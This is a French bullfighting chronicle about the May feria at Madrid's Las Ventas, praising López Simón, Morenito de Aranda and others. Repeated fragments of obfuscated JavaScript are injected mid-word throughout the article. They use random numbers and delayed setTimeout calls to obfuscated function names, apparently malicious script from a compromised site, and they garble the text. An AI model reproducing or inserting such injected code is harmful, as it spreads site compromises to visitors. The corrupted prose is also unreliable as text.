MADRID : LES HEROS DE DEBUT MAI

On fêtait à Madrid, en ce début du mois de mai, le soulèvement du peuple de la capitale contre les troupes de Napoléon. Un acte héroïque, un affrontement inégal, qui inspirera à Goya l’un de ses plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands et dramatiques tableaux. La célébration dans les arènes de Las Ventas fut la révélation de toreros reclus dans l’anonymat ou qui ne toréent pratiquement pas. Portés par López Simón, matador de Barajas, dans la périphérie madrilène, l’héroïsme fut le maître-mot. Il incarna un courage sobre, déterminé, capable d’aller au-delà des limites tout en gardant la tête froide.

Devant des toros de Montealto, très armés et aux charges puissantes mais rétives à se soumettre, l’émotion fut à chaque passe. Car le sitio qu’il foula fut celui des grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands, celui du risque maximum avec une toreria, un très bon goût que les aficionados avertis lui connaissaient déjà. Il fut accroché à la mise à mort et encorné par la suite mais il acheva son toro d’un descabello et coupa une importante oreille. Il resta en piste pour toréer le suivant, un toro immense pesant 620 kilos, qu’il brinda à un public conquis et ému. Une faena épique, dans la lignée de Perera et Castella. Ce torero mérite qu’on le voie partout. Au cours de cette corrida spectaculaire de Montealto, encastée et surtout très mobile, il y eut de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands toros comme celui qu’affronta en cinquième Morenito de Arandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda avec lequel il régala Madrid avec un toreo inspiré. Il coupa deux oreilles et aurait mérité une troisième au dernier toro qu’il toréa avec maîtrise et tua avec efficacité. Morenito affronta trois toros ce jour-là, suite à un autre coup de corne, celui d’Angel Teruel.

Signalons que le lendemain, lors d’une corrida plutôt décevante de Carriquiri, Sergio Aguilar se joua la vie devant un lot impossible, sans réussite mais avec dignité et froideur. Encore un torero dont on ne comprend pas la mise à l’écart. Curro Díaz signa les plus beaux passages de la corrida sans réussir pour autant une faena complète. Leonardo San Sebastián, qui venait confirmer à Madrid, paya lui aussi le lourd tribut du sang lors de cette feria et fut encorné au dernier toro.

Une feria qui démarra avec une novillada de Manolo Gonzalez forte et avec beaucoup de jus où interpella le novillero de Salamanque Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Marcos par son esthétique et son envie. Ce fut aussi la présentation à Madrid du bordelais Clemente avec quelques beaux gestes et surtout une très belle mise à mort.

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